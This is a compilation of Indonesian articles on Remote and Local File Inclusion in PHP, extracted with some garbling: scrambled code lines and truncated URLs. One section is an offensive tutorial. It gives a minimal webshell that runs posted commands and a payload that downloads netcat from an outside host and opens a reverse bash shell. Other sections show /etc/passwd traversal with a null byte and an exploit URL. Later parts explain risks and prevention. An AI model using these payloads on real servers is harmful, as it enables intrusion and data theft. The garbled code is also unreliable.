Anda di halaman 1dari 11

Apa Yang Dimaksud Remote File Inclusion?

by BLETAK on JULY 5, 2011

Remote file inclusion (RFI) merupakan sebuah jenis serangan hacker (hacker attack) yang seringkali muncul pada website. Serangan ini muncul jika administrator website tidak menyertakan validasi yang tepat (proper validation) sehingga siapa saja yang menginginkannya dapat memasukkan file ke dalam sistem. Dengan serangan ini, hacker menginjeksi (inject) sebuah remote file ke dalam server, dan konten file tersebut akan beraksi sesuai dengan apa yang diinginkan oleh hacker. Beberapa serangan remote file inclusion hanya menambahkan sebuah teks atau string acak (random) pada website, sementara serangan lainnya dapat menyebabkan sesuatu hal yang lebih berbahaya, seperti denial of service (DoS), pencurian data, atau memanfaatkan celah keamanan lain pada website. Mayoritas website terdiri dari banyak file semisal gambar, kode HTML, dan beberapa file yang dibutuhkan lainnya. Jika seorang administrator tidak menyertakan aturan validasi (validation rules) untuk memeriksa file yang masuk (incoming file), maka serangan remote file inclusion merupakan salah satu serangan yang paling mudah dilakukan oleh hacker. Hacker hanya perlu memanipulasi alamat website (website address) sebagai trik untuk memasukkan sebuah file baru, dan remote file pun akan diupload ke dalam server. Remote file itu sendiri biasanya berupa sebuah file teks yang terdiri dari semacam kode berbahaya (malicious code). Pada skenario yang paling baik, hacker menggunakan remote file inclusion hanya untuk menambahkan teks acak pada website untuk mengubah tampilannya (deface). Hal tersebut memang mengganggu namun tidak terlalu berbahaya. Administrator akan menyadari adanya celah keamanan, dan seharusnya berterima kasih kepada hacker karena telah menunjukkan celah keamanan tersebut tanpa menyalahgunakannya. Namun akan menjadi masalah ketika hacker jahat yang menemukan celah keamanan tersebut, di mana mereka dapat memanfaatkannya untuk melakukan aksi yang lebih destruktif dan mengarah pada tindak kejahatan.

Remote File Inclusion (RFI) Exploitation


by Published on 09-14-2010 04:33 PM 7 Comments Remote File Inclusion (RFI) adalah bug pada aplikasi web yang memungkinkan attacker untuk menginclude-kan file file external (remote) untuk di jalankan di server sasaran. Bug ini terjadi karena kurangnya filter pada variable yang di include oleh server.

Gameover

Include($_GET[file]); ?>

Sehingga bila attacker memasukkan remote script pada variable file, maka file script attacker ini akan di jalankan oleh server. Cara menginjeksinya pun sangat mudah, hanya dengan memasukkan script attacker ke variable yang vuln. Contoh : Code:
Script attacker => http://hacking/evil.txt http://sasaran.com/page.php?file=htt...g%2Fevil.txt??

Dengan demikian, maka server akan mengeksekusi script dari http://hacking.tool/evil.txt Code:
http://hacking.tool/evil.txt); ?>

Apa gunanya tanda ? di belakang itu? Hal yang sering terjadi adalah include pada file internal, kadang direktory, atau mengambil file config. Perhatikan: Code: bila kita include $file tanpa tanda ? di belakang akan di include juga : Code:
http://hacking.tool/evil.txt_cof/config.php); ?>

Dengan demikian, maka include akan gagal. Karena file memang tidak ada. Oleh karena itu, kita beri tanda ? di belakang. Sehingga semua karakter dibelakang nya akan dianggap variable. Maka include sukses. Code:
http://hacking.tool/evil.txt?%3F_cof%2Fconfig.php); ?>

Script yang kita injeksikan di kenal dengan nama rfi-injektor. Inti dari serangan ini adalah script yang kita tuliskan di injektor kita. Berbagai script perintah-perintah bisa kita kirimkan ke server, dengan menuliskan script2 perintah ke file injektor kita. Tentunya script yg kita tulis sesuai dengan kebutuhan kita. Script injektor rfi yang paling terkenal adalah webshell. Webshell biasanya memiliki command2 yang komplit tinggal klik. Diantara nya script webshell adalah Fx29Shell, c99shell, r57shell, dll.

Sebenernya gak sulit membuat sebuah webshell. Inti dari webshell adalah sebuah tampilan console berbasih web. Jadi cukup dengan ada kotak untuk memasukkan command2 dan mengirimnya ke server. Berikut simplenya. Code:
Submit

Command: ; Flush(); If($_POST[cmd]) system($_POST[cmd]); ?>

Script diatas akan menampilkan form input command. Jika command di kirim, maka akan di eksekusi oleh system(); Dengan begitu, kita cukup menginjeksi dengan cara standart injeksi rfi biasa : Code:
http://sasaran.com/page.php?file=htt...l%2Fevil.txt??

Setelah eksekusi injeksi tersebut, kita akan diberi tampilan kotak input command. Cukup ketik command di situ dan enter.maka command akan di eksekusi. Dengan mengetahui bahwa kita bisa mengirimkan script-script berbahaya ke server melalui script injektor, maka kita tau bahwa kita bisa mengirimkan berbagai command dan berbagai metode. Saya akan memberikan sedikit contoh. Kita bisa buat sebuah RCE ke server. Dimana script yang mengandung bug akan kita tulis di script injektor kita, kemudian menginjeksi rfi. Dan kita langsung bisa mengirimkan command-command ke server melalui rce yang sengaja kita buat. Code: Dengan begitu, kita bisa mengirimkan command2 ke server melalui variable $cmd. Code:
http://site.com/page.php?file=http%3...F&cmd=uname+-a http://site.com/page.php?file=http%3...%3F&cmd=ls+-la

Contoh lain, kita bisa juga melakukan backconnect ke komputer kita melalui injektor kita. Isi injektor kita tentunya command-command backconnect. Seperti berikut. Code:
http://hacking.tool/nc); System(chmod 777 nc); System(./nc vv 192.168.10.20 6788 e /bin/bash); Exit(); ?>

Dari command tersebut, kita melakukan backconnect ke ip 192.168.10.20 pada port 6788 dengan launch aplikation /bin/bash. Tentunya di komputer 192.168.10.20 sudah di set mode listening pada port 6788 sebelum melakukan injeksi rfi yang berisikan command backconnect tersebut. Berbagai variasi command bisa kita kirimkan dengan cara demikian. Kita bisa mengembangkan sendiri sesuai keinginan dan kebutuhan kita. Ketika Logika harus di optimalkan,,,

Remote file inclusion dapat diartikan sebagai penyisipan sebuah file dari luar suatu file dalam sebuah webserver dengan tujuan script didalam akan dieksekusi pada saat file yang disisipi di-load. Tehnik ini sendiri mengharuskan webserver yang bersangkutan mampu menjalankan server side scripting (PHP, ASP, etc) serta file yang disisipi dibuat menggunakan bahasa script tersebut. Target remote file inclusion biasanya berbentuk sebuah portal atau content management system (CMS) sehingga banyak sekali jumlah website yang rawan terhadap serangan tipe ini. Dalam artikel ini kita akan lebih banyak membahas bagaimana proses file inclusion (yang selanjutnya kita sebut dengan istilah `injeksi) bisa terjadi dalam bahasa PHP. BAGAIMANA BISA TERJADI? Sebuah serangan file inclusion terjadi didasarkan pada kesalahan atau ketidaksengajaan pendeklarasian variabel-variabel dalam sebuah file. Sebuah variabel yang tidak dideklarasikan atau didefinisikan secara benar dapat di eksploitasi. Syarat terjadinya injeksi sendiri terdiri dari: 1. Variabel yang tidak dideklarasikan dengan benar (unsanitized variables) Variabel dalam PHP mempunyai sintaks: #1 include ($namavariable. /file) #2 require_once ($namavariable. /file) #3 include_once ($variable. /file) Misalnya kita memiliki sebuah file bernama jscript.php dan didalamnya terdapat variabel seperti ini: include($my_ms["root"]./error.php); Variabel tersebut memiliki kemungkinan untuk disisipi file dari luar webserver dengan eksploit script injeksi PHP: http://www.target.com/[Script Path]/jscript.php?my_ms[root]=http://www.injek-pake-kaki.com/script? Diatas adalah contoh eksploitasi MySpeach < = v3.0.2 (my_ms[root]) 2. Setting dalam file PHP.ini #1. register_globals=On #2. magic_quotes=off #3. allow_fopenurl=on BERBAHAYAKAH? File inclusion memiliki level resiko tinggi (High Risk) bahkan level sangat berbahaya (Very Dangerous) karena injeksi memperkenankan pelakunya untuk melakukan eksekusi perintah jarak jauh (Remote Commands Execution) terhadap server. Tindakan ini sangat membahayakan bagi sebuah server jika pelakunya mencoba untuk mendapatkan hak akses lebih tinggi dengan cara melakukan eksploitasi lokal, sehingga bisa saja pelaku mendapatkan akses administrator atau root. Secara garis besar resiko serangan ini adalah:

1. Web root folder / subdirectory defacing. 2. Previledge escalation (mendapatkan hak akses lebih tinggi). 3. Menjalankan proses dalam server (psyBNC, bots, dsb) 4. Pilfering a.k.a pencurian data (such as credentials information, credit cards, etc..) 5. Dan banyak lagi!!! Termasuk tindakan pengambilalihan server dan ddos! SISTEM OPERASI APA YANG KEBAL? Saya teringat permainan C&C Generals (my fave game!) saat seorang hacker keluar dari barak. Mereka mengucapkan NO SYSTEMS IS SAFE!. Tepat sekali! Tidak ada sistem operasi yang aman dari serangan injeksi selama mereka menggunakan server side scripting yang dapat dieksploitasi, tak peduli apakah itu Microsoft Windows, LINUX, FreeBSD, Solaris, Darwin OS, dan lain-lainnya. APA YANG HARUS DILAKUKAN? Banyak sekali portal dan komunitas white hat yang sering merilis bugs terbaru seputar injeksi. Cara paling aman adalah selalu memperhatikan perkembangan yang mereka lakukan sehingga anda dapat melakukan sedikit perbaikan yang berarti terhadap CMS yang mungkin sekarang anda gunakan. Selalu perhatikan raw log yang biasanya terdapat pada layanan hosting anda. Jika terdapat fetching yang agak menyimpang seperti GET /index.php?page=http://www.injek-pake-kaki.net/cmd? anda wajib curiga, karena bisa saja ini serangan terhadap web atau portal yang anda kelola. Salah satu tehnik paling aman bagi seorang administrator adalah selalu memperhatikan usaha-usaha infiltrasi dan usaha eksploitasi lokal. Gunakan firewall guna mencegah penyusupan orang-orang yang tidak bertanggung jawab dan memperhatikan port-port server yang sedang terbuka. ENDING Artikel ini saya tulis berdasarkan apa yang saya ketahui, dan jika terdapat kesalahan karena ketidaktahuan saya anda dapat menghubungi saya lewat email. Pengalaman adalah guru yang terbaik untuk kita semua. Semua bisa saja terjadi karena tidak ada pribadi yang diciptakan sempurna. Nobody is perfect! No systems is safe! REFERENSI - http://net-square.com/papers/one_way/one_way.html (Very simple haxing guides) - www.milw0rm.com (Nice place to looking for exploits and buggy things) - http://www.packetstormsecurity.org (Great advisory, toolz, and exploits archives) - www.google.com (Greatest place to ask! ) - http://www.ultrapasswords.com/ (Place to cooling down We love streaming vids! Yeah!) Source: Kill-9

Local File Inclusion (LFI) dan Remote File Inclusion (RFI)


August 29th, 2009adhitLeave a commentGo to comments

LFI (Local File Inclusion) adalah sebuah lubang pada site di mana attacker bisa mengakses semua file di dalam server dengan hanya melalui URL. RFI (Remote File Inclusion) adalah sebuah lubang dimana site mengizinkan attacker meng-include-kan file dari luar server. Penjelasan Fungsi-fungsi yang dapat menyebabkan LFI/RFI: Kode: include(); include_once(); require(); require_once(); Dengan syarat pada konfigurasi php di server: allow_url_include = on allow_url_fopen = on magic_quotes_gpc = off contoh: misalkan kita punya file index.php dengan content kodenya seperti ini, Code: <?php include ../$_GET[imagefile]; ?> misal $imagefile=image.php mungkin di url akan terlihat seperti ini bentuknya Code: http://www.[target].com/index.php?imagefile=image.php maka script ini akan menampilkan halaman image.php.

Disini attacker akan dapat melakukan LFI karena variable imagefile di include begitu saja tanpa menggunakan filter. Misalnya attacker ingin mengakses file passwd yang ada pada server, maka dia akan mencoba memasukan seperti ini ../../../../../../../../../etc/passwd << dengan jumlah ../ itu tergantung dari kedalaman folder tempat file index.php tersebut.. dengan begitu isi file passwd akan ditampilkan di browser. kita bisa menggunakan metode menebak struktur folder dalam website target. Tapi seandainya terdapat error seperti di bawah ini: Warning: main(../../../../../../../../../etc/passwd.php) [function.main]: failed to open stream: No such file or directory in /their/web/root/index.php on line 2 Ternyata pada passwd ditambah dengan extensi .php berarti code yang digunakan untuk include adalah seperti ini: Kode: <?php include($_GET[imagefile]..php); ?> Untuk dapat mengelabui script tersebut kita bisa menggunakan %00 syaratmagic_quotes_gpc = off) jadi dibelakang /etc/passwd kita tambahkan %00 seperti http://www.[target].com/index.php?imagefile=../../../../../../../../../etc/passwd%00 lalu untuk apa %00? yaitu untuk menghilangkan karakter apapun setelah passwd. * %00 ini disebut null injection. Nah kita sudah menemukan bug LFI pada website target, sekarang kita coba cari bug RFI dengan menambahkan link file remote (dari luar website) pada variable imagefile. misalnya: http://www.[target].com/index.php?imagefile=http://www.[remote].com/evil.txt dengan file evil.txt misal berisi hacked by H4CK3R jika ternyata di browser menampilkan kalimat tersebut berarti website tersebut vulner terhadap bug RFI juga. Pencegahan Nah sekarang saatnya untuk pencegahan kedua bug tersebut, yaitu 1. Memvalidasi variable. 2. Mengkonfigurasi kembali settingan php pada server website Anda. allow_url_include = off allow_url_fopen = off magic_quotes_gpc = on 3. pada include mungkin bisa ditambahkan ./ jadinya seperti ini, (dengan

Code: include(./$_GET[imagefile]..php); maksudnya dengan seperti itu, saat kita mengakses file dari luar server maka hasilnya akan error karena saat pemrosesan setiap file yang masuk ke variable page akan ditambah ./ di depannya. http://www.[target].com/index.php?imagefile=http://www.[remote].com/evil.txt Dengan seperti ini server atau website yang diinject akan mencari file http://www.[remote].com/evil.txt dan pastinya akan menyebabkan server menampilkan error bahwa tidak ditemukannya file tsb.

Remote File Inclusion: Cara hacker menyerang lewat form


Mawan A. Nugroho, 26 Mei 2010 22:56:41 WIB Remote File Inclusion (RFI) adalah salah satu metode yang sering digunakan oleh para hacker. Mereka memanfaatkan kesembronoan programmer PHP yang tidak menyaring input dari user. Input dari user digunakan secara mentah-mentah. Contohnya sebagai berikut:

Ada 3 file pada web server yaitu: index.php --> Berisi menu pilihan sendal.txt --> Berisi data sendal, misalnya harga, jumlah stok, dsb. sepatu.txt --> Berisi data sepatu. Pada index.php tersedia form, di mana user bisa memilih apakah hendak melihat data sendal ataukah data sepatu. Contoh: Jika user memilih sendal, maka akan di-include-kan sendal.txt sehingga tulisan yang ada di sendal.txt ditampilkan. Contoh script-nya adalah sebagai berikut:

<body> <form id="form1" name="form1" method="get" action="<?php echo $_SERVER['PHP_SELF']?>"> <select name="produk" id="produk"> <option value="sendal">Sendal</option> <option value="sepatu">Sepatu</option> </select> <input type="submit" name="button" id="button" value="Submit" /> </form> <?php if (isset($_GET['produk'])) { $namafile = $_GET['produk'] . ".txt"; include_once($namafile); }; ?> </body>

Sepertinya program di atas bisa berjalan sesuai seperti yang diharapkan ASALKAN user tidak nakal. Bagaimana jika user mengetikkan seperti ini: http://domain/index.php?produk=gaji

Maka Lebih

yang berbahaya

akan lagi

di-include-kan adalah gaji.txt jika user mengetik seperti ini:

http://domain/index.php?http://domainjahat/scriptjahat.php%00 Maka yang diincludekan adalah script jahat yang berada di server lain! Lalu bagaimana pencegahannya? Ada beberapa teknik. Cara pertama adalah:
<?php if switch case case default: }; }; ?> (isset($_GET['produk'])) { ($_GET['produk']) { "sendal": include_once("sendal.txt"); break; "sepatu": include_once("sepatu.txt"); break; echo "Anda nakal ya!";

Teknik lain (dan ini yang lebih disukai oleh Mawan) adalah hanya mengizinkan user mengirimkan parameter bertipe numerik. Contoh:
<body> <form id="form1" name="form1" method="get" action="<?php echo $_SERVER['PHP_SELF']?>"> <select name="produk" id="produk"> <option value="0">Sendal</option> <option value="1">Sepatu</option> </select> <input type="submit" name="button" id="button" value="Submit" /> </form> <?php if (isset($_GET['produk'])) { $kode = (int) $_GET['produk']; switch ($kode) { case 0: include_once("sendal.txt"); break; case 1: include_once("sepatu.txt"); break; default: echo "Anda nakal ya!"; }; }; ?> </body>

Mengapa saya lebih menyukai cara ke dua? Alasannya sederhana: Jika data yang dikirimkan oleh user berupa string, maka ada banyak variasi serangan melalui string tersebut. Yang paling sering adalah SQL injection, RFI (Remote File Inclusion), dan XSS (Cross Site Scripting). Tapi jika yang dikirimkan adalah angka, maka user tidak berdaya. Yang hanya bisa dikirimkan oleh user adalah angka 0, 1, 2, dst. Jika user mencoba

menuliskan string, maka hasilnya nol (sebab string jika dikonversikan ke angka hasilnya nol). Lagipula cara ini lebih mempersulit hacker ketika mencoba mempelajari algoritma yang saya gunakan. Cara konversi ada beberapa macam. Misalnya dengan fungsi settype() atau dengan cara type casting seperti yang saya gunakan pada teknik di atas. Teknik lain yang lebih "canggih" adalah "Parameterized statements" (pernyataan terparameter) yang ampuh menghadapi SQL injection. Tapi ini di luar pembahasan kita. 2010 by Mawan A. Nugroho. All rights reserved. Artikel ini juga telah saya publikasikan di http://www.facebook.com/mawan911 dan http://www.mbahdukun.com